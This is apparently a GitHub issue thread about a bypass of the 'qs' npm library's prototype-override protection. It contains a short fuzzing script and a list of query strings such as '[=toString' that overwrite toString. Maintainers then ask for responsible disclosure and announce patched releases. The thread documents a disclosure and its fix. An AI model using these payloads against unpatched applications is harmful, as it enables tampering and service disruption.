prototype override protection bypass problem still exists.

[myvyang]

as the bug https://snyk.io/vuln/npm:qs:20170213 report fixed, but the other bypass

a = qs.parse("[=toString", {allowPrototypes: false})
// { toString: true }

still exists.

[fengmk2]

Yep, it's only fixed ]=toString, but [=toString not fix.

[myvyang]

i also write a simple tool to find this kind of bug. maybe it's also useful for other querystring implemention.

var qs = require("qs");

var meta = ['\\', '"', '\'', '[', ']', '.', 'toString', '='];
var length = meta.length;

var s = [];

var gen = function(n) {

    if (n == 0) {
        var query = s.join('');
        var o = qs.parse(query);
        if (!(typeof o.toString === 'function')) {
            console.log(query);
        }
    } else {
        for(var i = 0; i < length; i++) {
            s.push(meta[i]);
            gen(n-1);
            s.pop();
        }
    }
}

for(var i = 0; i < 6; i++)
    gen(i);

string which will bypass the protection (maybe caused by the same problem):

[=toString
[\=toString
["=toString
['=toString
[[=toString
[.=toString
[toString=toString
[\\=toString
[\"=toString
[\'=toString
[\[=toString
[\.=toString
[\toString=toString
["\=toString
[""=toString
["'=toString
["[=toString
[".=toString
["toString=toString
['\=toString
['"=toString
[''=toString
['[=toString
['.=toString
['toString=toString
[[\=toString
[["=toString
[['=toString
[[[=toString
[[.=toString
[[toString=toString
[.\=toString
[."=toString
[.'=toString
[.[=toString
[..=toString
[.toString=toString
[toString\=toString
[toString"=toString
[toString'=toString
[toString[=toString
[toString.=toString
[toStringtoString=toString

[gxcsoccer]

😭

[dead-horse]

@kamael please check this #201

[ljharb]

Thank you, I'll take a look at this.

In the future, please use responsible reporting practices to submit security issues, which means not posting them publicly until a fix has been released.

[ljharb]

Released in v6.4.0, v6.3.2, v6.2.3, v6.1.2, v6.0.4.